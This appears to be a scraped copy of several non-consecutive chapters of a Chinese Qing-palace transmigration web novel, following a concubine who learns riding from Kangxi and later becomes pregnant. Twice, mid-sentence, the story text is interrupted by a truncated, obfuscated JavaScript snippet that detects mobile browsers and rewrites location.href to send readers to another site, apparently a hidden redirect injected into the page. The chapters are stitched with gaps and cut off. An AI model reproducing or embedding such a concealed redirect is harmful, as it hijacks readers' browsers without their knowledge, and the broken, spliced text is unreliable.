没两天,乾清宫的太监赵昌过来传话:“皇上说要在福晋您这里用酒膳,还请福晋准备着吧。” 李福晋十分高兴:“真的?” “皇上的口谕,咱们也不敢骗您不是?” 李福晋十分大方的给了赵昌一个沉甸甸的荷包,然后就开始拾掇自己,准备着今天晚上要穿什么衣裳,戴什么首饰了。 皇上要用酒膳,基本上就是天刚擦黑的时间,用完之后,正好歇在嫔妃宫里也是很正常的事情,只要皇上能留宿,李福晋就高兴。 准备完衣服,李福晋又派蓝玉往御膳房去,皇上的酒膳,和嫔妃们不是一个地方,嫔妃们都在大膳房,而皇上是在御膳房,既然皇上要来,她自然得准备好,提前打点着,让御膳房做点皇上喜欢吃的,这样皇上才高兴不是。 只是派宫女出去了之后,李福晋又有点犹豫,要不要举荐尹佳氏,她刚刚投靠自己,总得给点甜头,但皇上许久没见过她了,这样把恩宠让出去,她又有点不乐意。 她虽然已经进宫六年了,可不像其他嫔妃,有个一子半女的,皇上少来她这里,但她还是盼着孩子的,若是能有个孩子,她也就不用看新人如何了,哪怕是不养在跟前,念着孩子,皇上自然会来她宫里坐坐。 尤其是去年皇上新娶的钮祜禄娘娘和佟佳娘娘,可都是最好的年纪,若是她们得以有孕,只怕是皇上更想不起来她这个人了。 若是不趁着这个时候怀上孩子,她还要等到什么时候呢?多侍寝一次,可就是多一分可能。 后边,舒宁也听银枝说起了这件事:“皇上也两个多月没见过李福晋了,今儿好不容易见一次,李福晋估摸着能开心些,咱们在她手下过日子,也能好过些。” “格格尝尝这茶,我去内务府取炭火的时候,那边竟然也给了咱们一点呢。” 格格位份上是没有茶的,舒宁一般都是喝的水,今儿银枝带回来的是宫中常见的六安瓜片,虽不是新茶,但能作为贡品进贡给皇室的,都是好茶。 银枝细细的品了品:“格格,这茶,咱们都泡了三四遍了,茶味儿居然都没淡多少,也不苦不涩,的确是好茶,虽然是陈茶,可若不是格格前日得皇上赏赐,只怕他们还不肯给呢。” 至于舒宁,她上辈子倒是也喝过茶,但要么是茶包,要么是奶茶、果茶,真正被称为茶的,也就是回家爷爷泡的,可她爷爷喝的都是浓茶,舒宁不太喜欢,其实也没喝过几次,她只觉得这茶不错,倒也喝不出来是新茶还是陈茶。 银叶也是抱着茶杯,傻笑着说:“我没喝过茶,只觉得比白水好喝许多呢,今儿算是有口福了,大膳房那边给的糕点也是刘师傅专门做的,要是格格能一直得宠就好了,我就能喝到好吃的东西,吃到好吃的点心了。” 银枝听见这话立刻开口:“咱们格格之前就是运气不好,皇上忙于战事,所以一直没能侍寝,如今侍寝了,自然是能一直得宠的!” 倒是舒宁没说什么,在这后宫里,哪有什么一直得宠,三年一大选,一年一小选,永远都有新人,甚至还有各地官员进献上来的汉人嫔妃,那也是千里挑一,都是美人呢。 舒宁记得上辈子她玩儿游戏,做皇帝,后宫也是满满当当的一堆人,翻页都要翻两三页,游戏尚且如此,更别提皇上是真的有三宫六院,真的可以拥有这么多嫔妃,谁会拒绝呢? 她就想着混到个嫔位,也就能安生躺平了,要不然,被人欺凌不说,这日子过的也是真的没什么滋味,连茶也不能喝一口。 “好了好了,喝完了茶,拿料子做个布老虎要紧,眼瞅着马佳小福晋的胎也到时候了,到时要是没得送,你家格格我可就尴尬了,银叶,你可得帮我看看。” 谁知银叶去拿了绣绷和针线,回来之后却一脸兴奋地对着舒宁道:“格格你猜我刚刚看见了什么?” “什么?” “尹佳格格带着绣琴去前面正殿了!” 银枝不赞同的开口:“这尹佳格格这么做,李福晋估摸不会高兴。” “是啊,就算是李福晋想要扶持她,这样明抢似的行为,只怕李福晋也是不乐意的。” 虽然说这后宫寻常人家的后院不一样,皇上的嫔妃也和寻常妻妾不一样,皇上的嫔妃是内命妇,古时嫔妃位份甚至堪比爵位,嫔妃们与其说是皇上的妾,不如说是身处后宫的女官。 就算是有高位嫔妃提拔低位嫔妃一说,可也要人家乐意,安排个合适的时 7. 南苑 《长寿定妃只想躺平(清穿)》全本免费阅读 傍晚,舒宁在自己殿内和银枝、银叶一起喝茶吃点心,前边的正殿,李福晋左看看右看看,正紧张的等着皇上到来。 没过一盏茶的时间,皇上的辇轿就到了,李福晋忙出门去迎,康熙看了一眼李福晋:“进去吧,外边风大。” 等到吃完饭的时间,银枝和银叶正在猜李福晋究竟会不会请皇上去尹佳格格那里。 “我猜李福晋不会。”银叶说。 “我猜李福晋会。”银枝说。 舒宁看热闹不嫌事儿大:“光这样有什么意思,得加上一点筹码,你们谁赢了,明儿的点心就是谁的了。” 大膳房的点心做的其实还不错,只是不太符合舒宁的味道,她不爱吃太甜的,但这时候糖是稀罕的东西,宫里面的点心,为了显得体面,也显的自己没有克扣,凡是甜食,都要用重糖,反倒是有些腻味。 银叶最爱吃甜点,听见这话立刻说:“那就这样说定了,明儿的点心是我的了,谁都不许跟我抢。” 银枝听见这话放下手里刚灌好汤婆子:“你这说的好像谁赖过你似的,咱们三个人就你最爱吃点心了,我什么时候抢过你的。” 晚上的时候,皇上在李福晋殿里歇下了,银叶立马对着银枝说:“姐姐我赢了,明儿的点心是我的了。”银枝只看着她笑。 谁知第二天早上舒宁去请安的时候,李福晋一早就把两个人叫了进来: “皇上要去南苑射猎,除了主位,还想着要带一些年轻的妃嫔去伴驾,万琉哈格格,你准备着,后日就出发。” 尹佳格格睁圆了眼睛,似乎有点不相信这事儿居然是不在自己身上,反而是让舒宁占了上风。 随后,李福晋又看着尹佳格格说:“昨儿我倒是和皇上提了你,可皇上觉得你太小,又是汉军旗,只怕不会骑马,所以就给否了,不过妹妹毕竟年轻,皇上年年都要去南苑,总有机会的。” 尹佳格格的确年纪小,舒宁是顺治十八年正月初三的生日,如今也不过十七,可尹佳格格比她还要小三岁,如今在这宫里也是最小的一批了。 也正是因为尹佳格格年纪小,舒宁总觉得她就是没长大,正处在中二期,所以才做出这些举动。 听了这话,尹佳格格咬了咬下唇,道:“多谢福晋在皇上面前提起我,我的确不会骑马。” “以后若有机会,妹妹还是多学学吧,皇上喜欢射猎,每年总要出去,也都带着嫔妃们一起,妹妹多学着,今年不成,总还有以后呢,皇上总会想起妹妹的。” “是,多谢福晋教诲。” 得知了这个消息的舒宁从李福晋这里出去的时候还在想,怎么骑马,原来的万琉哈氏是会骑马的,如今是清初,万琉哈氏毕竟是满族姑奶奶,小时候就跟着哥哥一起出去骑马射箭,权当是游戏。 但舒宁可不会这玩意儿,少年宫也不教骑马啊,她长这么大,唯一一次见到马还是去旅游,景区里可以骑着马拍照,她去拍了一张,可那个马有人牵着,又经常接触人,比较温顺,她统共也就在上边呆了不到三分钟而已。 如今叫她去骑马,舒宁是真的害怕自己骑术不精,马大爷把她给摔下去,那就成笑话了。 回到自己殿里,和银枝说了这件事之后,银枝有些惊讶:“那我是不是该给格格准备东西了?后日就去的话,现在就得收拾起来了。” “是啊,对了,我进宫的时候是不是带了两身骑装,那个也带上,说不定到时候还要骑马呢。” “格格入宫的时候带的箱子里的确有两身旗装,只是放箱子里久了,要穿的话,得拿出来熨一下呢。” 说着,银枝就去箱笼里把舒宁的骑装收拾了出来,往熨斗里装了热水,细细的弄了起来。 边弄还边说:“自打之前格格病了,这段日子连门都少出去了,这回去南苑,格格可以好好放松放松。” 银枝只是随口一说,但说者无心,听者有意,舒宁听见这话,有些恍然,所以她其实察觉到了自己和万琉哈氏是不太一样的,只是银枝想不到穿越,所以只觉得是因为她大病一场,变得有些内向,不爱出门。 但这其实是因为舒宁刚来不久,还不太能适应这个完全不一样的环境导致的,想到这里,舒宁去小佛龛那里为万琉哈氏点了一炷香,这世上,终究还是有人念着她的。 上完香之后,银叶把早膳提来了,知道了这事儿,心里想的却不是自己能出门了,脱口而出:“那我这刚拿回来的点心岂不是输掉了,今儿可是有大师傅做的三北豆酥糖呢。” 舒宁看着她小脸委屈巴巴的,逗她:“是啊,这样算起来,李福晋的确贤惠,跟皇上提起了尹佳格格,只是皇上没去而已。” 等银叶将早膳摆好,舒宁夹了一块儿豆酥糖,然后就把盘子又递给了银叶,银叶又把盘子递给了银枝,叹了口气:“你赢了,你吃吧。” 银枝把熨斗放下,也吃了一块儿,就又把盘子给了银叶:“就说了没人跟你抢。” 二月十九,舒宁正和银枝清点东西,明天一早就出发,嫔妃们坐马车,这些东西呢,还要更早,等明天早上车队出发的时候再装肯定是来不及的,所以今天午膳后,舒宁就得把这些东西交给太监,今天晚上就得由宫里的太监和苏拉装上车。① 只是舒宁没想到,比去南苑更早的是马佳小福晋生了的消息。 除夕的时候,马佳小福晋就因为月份大了,没去参加宫宴,二月一到,钟粹宫的宫女太监们就紧着皮,等着马佳小福晋生产。 银叶从大膳房提膳回来,就听到了这个消息:“说是凌晨马佳小福晋就有些难受,之后用早膳时候,就已经确定是发动了,太医院早早的就已经去了,就连膳房也忙着烧热水让苏拉送去给钟粹宫呢。” 如今的皇子排名和舒宁后世听到的不太一样,康熙前期,可能是因为他自己和嫔妃都太小的原因,生了好多孩子,都没能活下来,所以后期给阿哥 8. 骑马 《长寿定妃只想躺平(清穿)》全本免费阅读 晚上,舒宁从小果子那里得到消息,马佳小福晋生了个阿哥。 “可取名了吗?” “还没呢,才刚出生,一般阿哥都是周岁时由宗人府请名,当然若是皇上喜欢,当即赐了名字的也是有的。” 于是第二天出发的时候,舒宁就听到小果子说皇上给阿哥取了名字,名胤祉,不知道为什么,听到这个名字,舒宁有种奇异的安心。 “皇上还说了,让绰尔济大人养着胤祉阿哥,三天后就送走。” 这个舒宁到是有些意外,最早她是知道康熙的孩子都是由高位嫔妃抚养的,可来了之后听到除了太子之外,大阿哥胤褆居然是送出去的已经很惊讶了,却没想到三阿哥胤祉也是送出去抚养的。 “和大阿哥一样,送到臣子府里养着吗?” “是啊,奴才听说是因为皇子福气太大,皇子们刚刚出生,一下又了这么大的福气,受不住,就容易夭折,所以就送出去,像是胤褆阿哥如今就好好的,可见咱们皇上的英明。” 对于清朝的这个习惯,舒宁实在是不敢苟同,硬生生让母子分离,但这话她不能说。于是她只道:“马佳小福晋该伤心了吧。” 结果就连这个也被小果子否了:“格格说的哪里的话,这是皇上的意思,也是为了阿哥着想,若是这次胤祉阿哥真的立起来了,马佳小福晋应该高兴才是。” “是我想岔了。”可能对于马佳小福晋来说,孩子在不在不要紧,留得住才是最要紧的。 和小果子也就说了一会儿的话,舒宁就该跟着李福晋去南苑了。 舒宁的马车很朴素,就是蓝色的素帐,简简单单的,坐上了车之后,舒宁觉得她还不如走着,刚开始还好,可到了后边,的确是有些颠簸,还好,南苑就在京城,也就一上午的工夫,就到了。 到了之后,舒宁倒是没和李福晋住一个地方,她被分配到了较远的一处屋子,舒宁对此没什么异议,正好她可以多走点路,在宫里她是真的走不了几步路。 而且最重要的,不和李福晋住一起,就意味着,她不用早上去李福晋门口请安了,实在是很不错。 是以,舒宁整个人都喜气洋洋的。 “格格您看还满意吗?这儿虽然偏了点,但离膳房近,以后格格想吃什么,吩咐奴才一声就行。” 这是这边小太监,叫小安子,他引舒宁到了屋子,又道:“若是格格无聊,奴才也能带您去湖边散散心,这边有鱼,还能钓鱼呢。” 这倒是让舒宁有些想不到,有鱼正常,但能钓鱼?她以为嫔妃们就只能拿着鱼食去喂鱼。 “这边本就是园林,比宫里要松快一些,没那么多规矩,就算是格格想骑马涉猎,也是有地方的。” 舒宁明白了,满族毕竟是马背上的民族,骑射是老传统,女性地位又高,这里是园子,骑马涉猎都行,自然不必说钓鱼了。 小安子眼见这位格格的笑意更加明显,就知道自己说对了。 “格格若是有兴趣,今儿下午奴才就带您去。”以前也有蒙古嫔妃,刚来就去策马的。 舒宁表示拒绝:“今儿刚到,还是先歇会儿吧,明儿再去。”说实话,舒宁觉得自己还需要做一点心里准备。 虽然她承袭了万琉哈氏的记忆,好像连技能也顺便继承了,比如说满语她现在就说的很溜,和母语一样,女红能绣上一朵花,但骑马,她得先过心里这关。 小安子自知自己说错了话,格格刚到,舟车劳顿,自然没精神去骑马,他想着刚刚格格对钓鱼感兴趣,于是道:“是奴才思虑不周,还望格格见谅,那今儿的晚膳,格格想用些什么?这边的鱼可是新鲜呢。” 舒宁没在意:“既然都到了这里,那就吃鱼吧。对了,要刺少的鱼。” “格格就放心吧。” 于是下午,舒宁就吃到了久违的鱼肉,宫里的大膳房虽然味道不错,但食材有限,像是她作为格格,最多的就是猪肉,再就是每隔一天有一盘羊肉,除此之外,也就是鸡鸭,每个月只有五只,像是鱼肉就没有了,毕竟作为鲜味,储存不易,若是把哪位贵人吃出毛病,那就不好了。 不过这也是低位嫔妃没有,高位嫔妃想吃那自然还是有的,内务府也时常有贡品,甚至就连皇上其实也爱吃鱼,膳房自然不可能没有,只是舒宁位份不够而已。 没想到来了南苑,倒是能吃鱼了,那她可得吃个够才行,过了这个月,可就吃不了了。 桌子上的饭菜分别是鱼圆、糖醋鱼、清蒸鲈鱼、青椒肉丝、燕窝鸡丝、鲫鱼笋汤,一共六道菜,四道都是鱼肉。 鱼圆就是鱼丸,不过和舒宁吃过的那些加了淀粉的鱼丸不一样,这里的鱼圆是真的纯鱼肉做成,不仅鲜美,还有嚼劲儿,特别好吃,还没刺,简直完美。 糖醋鱼舒宁吃不出是什么鱼,但刺儿很少,像是用心挑过,甜而不腻,实在是难得。 鲫鱼笋汤更是鲜美,此刻用的是最鲜的春笋,再加上鱼汤的鲜美,更是鲜上加鲜。 至于主食,是米饭,米饭没什么说头,但是这个搓条饽饽,做法是先把黏米蒸熟,打成糕,往上裹上一层熟黄豆面,然后揉成长条,下锅炸透,最后用刀切成小段,表面撒上熟黄豆粉,就算是成了。 舒宁总觉得这个搓条饽饽有点像是后来的小零食江米条,不像主食,倒像是点心。不过今儿的正经点心是豆沙条头糕和春卷。 心满意足的用完饭,舒宁开始回忆万琉哈氏以前骑马的记忆,希望自己明天去骑马能够顺畅一点。 第二天,舒宁换上了骑装,看上去倒真的像那么回事似的。 小安子领她到马厩里选了一匹温顺的小马,可能是舒宁的上香起了效果,也可能是马厩里的训马师技艺精湛,这匹马特别乖,舒宁喂了点胡萝卜,渐渐的也不怕了。 之后,舒宁又尝试上了马,她动作自然,到真是有肌肉记忆,不过她还不太敢像万琉哈氏一样骑着马狂奔,在这边带了一个上午,舒宁最后也就是能骑着马自己走走。 不过皇上一般都要在南苑呆上近一个月,她还有时间。 下午,舒宁歇了午觉之后又用了晚膳,有些无聊,就去钓鱼了,可能是因为她第一次钓鱼,倒是真钓上了一条鲤鱼,只是刺有点多,最后做成红烧鱼圆了。 之后几天,舒宁基本上就早上去骑马,下午去钓鱼, 9. 指点 《长寿定妃只想躺平(清穿)》全本免费阅读 顾问行往湖边一瞅,回想起这次来的妃嫔名单,比照着年岁、穿着、样貌,回道:“回皇上,那大概是万琉哈格格。” 康熙仔细一看,的确是万琉哈氏:“她倒是有兴致,叫她过来。”顾问行连忙着人去叫。 舒宁起初没看见对面的皇上,她的精力全用在了控制马上了,这可是湖边,要是一个不小心,掉下去了可了不得。 没想到,远远的有两个小太监往这边走,舒宁看到的时候往他们身后一瞧,就看见了对面的皇上的仪仗,那明黄色的布料在阳光下十分耀眼,绝对是错不得的。 舒宁赶紧翻身下马,这时候小太监也过来了:“万琉哈格格,皇上叫您过去。” “好。”将马交给另一个小太监,舒宁连忙跟着过去。 到了皇上跟前,舒宁连忙蹲下行礼:“奴才给皇上请安。” “起来吧。”康熙的语气听上去还好,像是心情不错的样子。 “你倒是有兴致过来骑马,只是这园子太小,有些放不开,朕瞧你骑的也慢,终归还是比不上草原畅快。” “奴才马术不精,让皇上看笑话了。”这样的速度已经很可以了,要是真的让她策马狂奔,舒宁觉得自己会先从马上摔下去。 “是该好好练练,明个儿你过来,朕亲自教你。” “是。”舒宁答应的很痛快,能让皇上亲自教,总比她自己琢磨要好的多,她记得康熙曾经御驾亲征过,还曾多次去木兰围场,教她,都算是大材小用了。 康熙看见她的笑眼也觉得自己这决定不错:“你穿红色的骑装挺好看的,只是袖子仿佛有些紧了,略微有些不合身,等下朕让人给你送几件。” “多谢皇上!”舒宁的笑意更深了,还白得几件衣服,真不错,她来了宫里没多余的料子做骑装,现在穿的是从家里带来的,可这一年她又长了一寸多点,衣服自然小了些。 于是晚上,就有宫女往舒宁这里送了四套崭新的骑装:“这是绣房依着格格今年冬天做的新衣的尺寸改的,应该是合身的,还请格格试试,若是有不合适的地方,绣房连夜再改。” 舒宁看着这四件衣裳,分别是殷红、品红、香叶红、还有清水蓝色,不知道用的什么布料,和普通的绸缎不太一样,更硬挺一些,箭袖也很挺括。 不过等舒宁穿上了之后,发现里边用的料子倒是十分柔软,她试了试,挺合身的:“挺好的,没什么需要改的地方。” “格格满意就好。” 第二天一早,舒宁用完了早膳之后,就有太监领着她到了皇上骑马涉猎的地方,舒宁到了之后只觉得这地方真大,当真是能策马狂奔的。 舒宁还是骑着自己之前选的那匹小马,哒哒哒的往太监指的方向骑过去,没一会儿就看见了皇上。 康熙自然也看见了她,每一会儿就过来了,开口第一句就是:“脚尖向前,不要向下,对,没错,就是这样。” “膝盖也不要打直,放松,不要太紧张,大腿太用力的话,容易被马颠起来,反而难受。” “大拇指朝上,沉肩、弯肘,姿势没问题,让马停下来不要拉缰绳,刚开始的话,用小腿肚试试。” 说实话,康熙绝对是一位严厉的老师,而且还是那种自己是学霸,就要求学生也能轻松学会的老师,如果碰上普通学生,大概率会跟不上。 但正好,舒宁上辈子就是卷王,卷了这么多年,早就习惯了这种速度,没一会儿,就已经可以骑着马跑起来了。 不得不说,让马跑起来和骑在马上散步是完全不同的两种感受,骑着马散步,舒宁只觉得自己就是坐在车上看风景,只是视角不同而已,但跑起来,跟着马一起动,感觉特别畅快。 看着舒宁很快的就能骑着马跑起来,康熙也觉得不错:“你挺有天赋的,寻常男子学骑马也不像你这么快。” 舒宁:“是皇上教的好。” “正好到时辰了,今儿留下来陪朕用膳吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12841576|134605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有余了。” 听到这话,舒宁差点把茶盏都给摔了,还是银枝就在旁边站着,扶了一下,所以只是撒了一些水。 可舒宁这个时候也没空去管桌子上的水了,她一脸认真的问太医:“您说的是真的?我怀孕了?” 这算怎么回事儿啊,她不是应该等到康熙二十四年才会有孩子吗?现在才康熙十八年啊。 庄太医稍稍抬头,觉得有些奇怪,怎么这位贵人看上去好像不太高兴,反而是惊讶更多一些? 但他二十出头就入了太医院药房,如今也二十多年了,见过的贵人不少,非常自然的忽略掉这一点不对劲儿,沉声道: “虽然贵人您的月份有些浅,但是微臣确定,这就是怀孕了,刚刚您说觉得烦躁,或许也是因为怀孕所致。” 舒宁稍稍镇定了下来,叫太医去开安胎的方子,又银枝赏了庄太医一个大红包。 回过头来,银枝已经送完太医出去了,又领着其他人过来恭喜舒宁,舒宁浅浅的笑了下,让银枝开了匣子给每个人都赏了钱,算是沾喜气,又让银枝出去给各处报一声。 而舒宁自己却是坐在书桌前画了只蝴蝶,不一样的原料终究还是引起了不一样的反应。 她承宠也两年多了,怀孕也是理所应当的事情,面对未知的一切,舒宁还是决定既来之则安之吧。 她又不可能不要这孩子,哪怕是现代,无痛人流也不是真的无痛,更别提这是古代了,哪有什么高超的打胎药,喝了对身体全然无害的,就算是避孕的汤药,也是以伤身子为代价的。 景仁宫那边,佟佳贵妃听说舒宁怀孕,也赏了不少东西,照金果的说法,比宜嫔的少些,比郭络罗常在的多些,大概是按位份赏赐的。 不过东西还是不少,除了十六匹缎子之外,还有几件珍玩赏器,以及一小匣子首饰,品质都不错,可见贵妃还是贵妃,家底比舒宁厚不知道多少倍。 倒是皇上说了晚上要亲自过来一趟,舒宁得预备接驾。 25. 扭捏 晚上,舒宁站在外边等着皇上,没一会儿,皇上就过来了,见她行礼将她扶起来:“进去吧,外头热。” “太医怎么说?” “庄太医说约莫一个月了,一切都好,些许有些反应,不过不碍事。” “那就好,女子怀孕格外艰难些,尤其是前期孕吐,朕瞧着宜嫔就吐的厉害,和她姐姐一样,只怕得等四五个月之后才能不吐了。” 舒宁笑了笑:“我倒是没感觉到想吐,只是食欲稍微有些不太好,且时常有些烦躁,总是静不下来,之前还以为今年格外热,苦夏的缘故,月初按例太医来请安,说我怀孕了,还有些不敢相信呢。” 主要是烦的很,心静不下来,又觉得热,不想吃油腻的东西,最近舒宁要么吃冰,要么吃清蒸的,炖煮的,红烧的倒少有,不过这都是夏天常见的情况,舒宁的饭量并没有减少多少,只是口味略换了换而已,所以舒宁也就忽略过去了。 康熙握着舒宁的手,仔细看了看:“好似是比冬天瘦了些,怀孕嫔妃的饮食都是额外再多添一倍的,既然你吃不下,那朕再从大膳房额外拨两口灶专门负责你的吃食,想吃什么随时点,不必按着时辰来了。” 这当然是更好的,有专门的大灶说明还会有专门的厨子,舒宁可以点自己想吃的菜,而不是大膳房送来什么吃什么,且饮食都由专人负责的话,出问题的可能性也大大降低:“谢皇上恩典。” “今年的确是较之往年格外热些,紫禁城春秋冬三季还好,也就是夏天最难熬,若不用冰,实在憋闷,但太皇太后、太后年纪都大了,一直用冰也受不住,还有贵妃,身子弱,受不了凉气,不若天然凉意好些。 再者嫔妃诸多,也不是人人能用上冰,用不上的,夏天也只能忍着,更别提冰块儿冬季开凿,夏季再运出,所费人力物力也不少,实在有些浪费。 朕有心在京郊原来‘清华园’的基础上再修一座园林,有水的地方总比宫里凉快,到时候夏天就可以去避避暑,只是近年来连番征战,实在是有心无力,今年年初朕在午门宣捷,只盼着什么时候彻底胜了,也就好了,到时候夏天带着你和孩子一起去避暑。” “皇上说的那样的好,我可是期待的不行呢。” 皇上在咸福宫待了一会儿,和舒宁一起用完了晚膳就走了,不过第二天开始,舒宁这里就迎来了不少的人。 先是内务府送赏赐的人过来,前边是贵人份例上的一百五十两赏银和二十匹各色绸缎,这是定例。 再是昭仁殿的人过来送赏赐,这走的就应该是皇上的私库了,东西也比内务府的多不少。 光是金子就给了舒宁两匣子,一小匣子金瓜子,一小匣子金花生,银枝和银格一起入库的时候数了数,又称了称。 金瓜子约180粒,总重约二十一两,折银二百两,金花生三十颗,大概十两重,折银一百两。 不过账虽然是这样算,但是实际上使用的话,赏人金瓜子比赏人银子要体面的多,价值还是不一样的。 再就是缎子了,不管是水红色的宝相铜钱纹宋锦,还是孔雀蓝的莲花纹缂丝,或是宝蓝色的折枝菊花织金缎,都是对于舒宁来说十分稀罕的料子,更别提这样稀罕的料子一次就赏下来了十二匹,一年都穿不完。 除开这些,还有玉器六件、珐琅器六件、家具六件、各类首饰共计二十件,比之前舒宁过生辰的时候的东西只多不少。 光看着这一堆的赏赐,银格和银枝就花了一个早上去收拾,等到了下午,觉禅氏和乌雅氏就约着一起来了。 觉禅氏一进来就笑着说:“早上听说姐姐有孕,就想着来给姐姐道喜,还是乌雅姐姐提醒着,说姐姐早上要领赏,人多,事情多,想来没空,所以就和乌雅姐姐约着下午一起来了。” “之前还说你送我的东西太多了呢,没想到这么早就又要还回去了,我还得多添两匹缎子。”乌雅氏让巧儿将东西放在桌子上,打开给舒宁看,里边是一个纯金的长命锁,外头太监还端了六匹缎子。 舒宁让银枝她们把东西收了,笑着说:“等你下次有孕,我再给你送回去,也多添两匹缎子可好?” “双姐你看她,都是快要做额娘的人了,还说这些玩笑话。” 觉禅氏则是有些不太好意思的拿出了自己准备的东西:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12872867|134605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐有孕之喜,原本应该好好庆贺一番才是,可我不得皇上宠爱,也只有这个鎏金的长命锁,再加两匹缎子就是了。” 舒宁握住觉禅氏的手:“你与我同日被选中,又是同日入宫,入了宫之后,又互相照应,情分更加深厚,妹妹这么想,难道是觉得我和你好,是为了你送的东西吗?” 觉禅氏被舒宁的反问给问着急了:“姐姐当然不是那样的人,是妹妹狭隘了。” 舒宁笑着回她:“这就是了,有道是礼轻情意重,这情谊的深重,从来都不是看送礼的多少来决定的,只要妹妹是真心祝福我,祝福这个孩子,贺礼又算得了什么呢?” 这时乌雅氏也看出来了,笑着说:“我说呢,怎么这一路上你都不说话,原来是在担心这个,之前你去我那里送贺礼的时候也扭捏了一阵子,偏生我这个人蠢笨,竟也没看出来你原来还存了这个心思。 妹妹快别这样想了,这宫里的日子还长,妹妹美貌,皇上一定会看见妹妹的好的,往后有我们两个恭喜妹妹的时候呢。” 这么一说,觉禅氏也就不再提了。 随后,乌雅氏开始说自己上次怀孕的经验:“等你月份大了,孩子的各种妈妈里都会配齐,她们由精奇尼妈妈管着,包括饭上妈妈里、水上妈妈里、果上妈妈里、看守妈妈里、针线妈妈里等等,都是给孩子准备的,你到时候也得仔细看看才行。 然后呢,估摸着等过几天掌关防处也就是内管领那边安排好了,还会有两位姥姥过来,这两位姥姥和接生的嬷嬷还不一样,要从你怀孕管到生产的,除开太医每五日过来一趟以外,姥姥要每日过来把脉,负责临产时接生,念吉歌,为孩子洗三之类的活儿。”① 舒宁认真的听着,银枝和银格也是,都想把乌雅氏说的每一个字都记下来。 “然后等你大概八个多月了,额娘就能进宫了,每日也能过来陪你说说话,大概能呆二十多天,日子长的,呆一个月也是有的。若是运气好,赶上了,额娘也是能看着孩子出生的。” 这个舒宁之前也听说过,但听到这里,舒宁却有些紧张,万琉哈氏的母亲,会是一个怎么样的人呢? 26. 家人 舒宁记忆里的额娘,是个性子有些泼辣的女人,在家里说一不二的,大事小事基本上全要过她的手才行,因她出身大族,属于富察氏的偏远族支,所以也有些见识,这么些年,也没有出过错。① 养孩子也和其他人家不同,只要孩子不长偏,长成什么样的性子,她都是乐乐呵呵的,也不在意。 就这样培养下来,老大托合齐比其他人都要能干些,只是有些恃才傲物,觉得自己能干,以后必出头,日常行事颇有些张扬。只是前两年投了安亲王府,无人赏识,有些不得志。② 老二托津,满语名意思是孔雀,想比大哥,拖津就内敛多了,安安静静的,也不喜欢舞刀弄枪,如今还在家里读书,想着若是能成个秀才,也好托关系弄个差事做,不用像老大那样,去安亲王府上当差,实在是难以出头。 老三是个女孩,原来小时候都叫大妞,只是她和母亲一个性子,有些不喜欢这个名字,太寻常了,在街上叫一声大妞,起码得有四五个人回话,都是家里的长女,于是就给自己起了个名字叫塔娜,意思是东珠。 老四就是舒宁了,名字也没有认真起,直接叫的妞妞,意思就是家里最小的女儿。 原本托尔弼和富察和卓是不太想女儿进宫的,他们两个人都觉得女儿没这个心气儿,心大在外头是好事,在宫里却不是。 更别说托尔弼就在宫里当差,做内管领,最是知道宫里是什么样子,比起家里来,当真是拘束的不得了,若是不得宠,再没有个孩子,一辈子都得折在里头,可是万琉哈氏长得好,一轮一轮的,还是被选中了,家里也没办法,只能送她入宫。 入了宫,和家人接触就少很多了,就连之前舒宁为了银枝的事情去找托尔弼,其实也都是传的口信,纸面上的证据是不会有的。 如今,万琉哈氏也已经三年没见过家里人了,若是等到生产,大概也就是明年年初的时候,就四年了,四年,说长不长,说短也不短,舒宁心里还是有些发憷的。 不过多想无益,还有七八个月的工夫呢,现在想这些实在是有些早,于是舒宁就不想了,只关注过来的四个姥姥。 虽然都是内务府安排过来的人,但还是有余地的,舒宁可以在四个里头选两个。 今儿来的姥姥分别是穆达齐氏、方佳氏、高佳氏、叶禄氏。 舒宁仔仔细细的问了这几个姥姥的年岁和经历,其中,穆达齐氏最大,如今已有五十七了,在如今这个岁数,可以说是相当大了,不说孙子,说不定曾孙子都已经有了,她也是经验最丰富的一个,自打顺治爷的时候就在宫里服侍,如今也好几十年了。 “不是奴婢自夸,打奴婢手底下出来的阿哥和公主不少,只是年岁有些大了,但您看奴婢的头发就知道奴婢还能做的动。” 说实话,穆达齐氏是真的害怕舒宁因为年龄大就不选她,虽然世人都说医者年纪大是好事,但也要看是在什么地方,什么情况下。 她们这些姥姥,每日都要来请脉,要时时刻刻照顾着贵人们的饮食起居,到时候还要接生,没有精力是不行的,所以一般选人也都会选四五十之间的,有经验,人又还有精力,不至于老糊涂了,她因为年纪大,错过两三次机会了。 舒宁看了看,这姥姥的头发的确还是黑的,也不知道是怎么保养的,感觉的确是有点本事的,虽然这时候的人觉得她年纪大,但是舒宁觉得还行,这不就刚退休嘛,想想那么多老头老太太比年轻人活力还足,舒宁不觉得五十七岁是个大到办不了事儿的年纪,更别提姥姥是最需要经验的了。 年纪最小的是高佳氏,如今才三十八,舒宁有些惊讶她这个年纪怎么就成了姥姥,然后她说自己孙子都四岁了,约莫是五年前开始做的姥姥,虽然年纪比其他姥姥要小一些,但荣嫔马佳氏生三阿哥胤祉的时候,她就是姥姥,三阿哥一切顺利,也有她的功劳在。 之后是方佳氏,如今四十五,也伺候过荣嫔,可惜的是长华阿哥没能 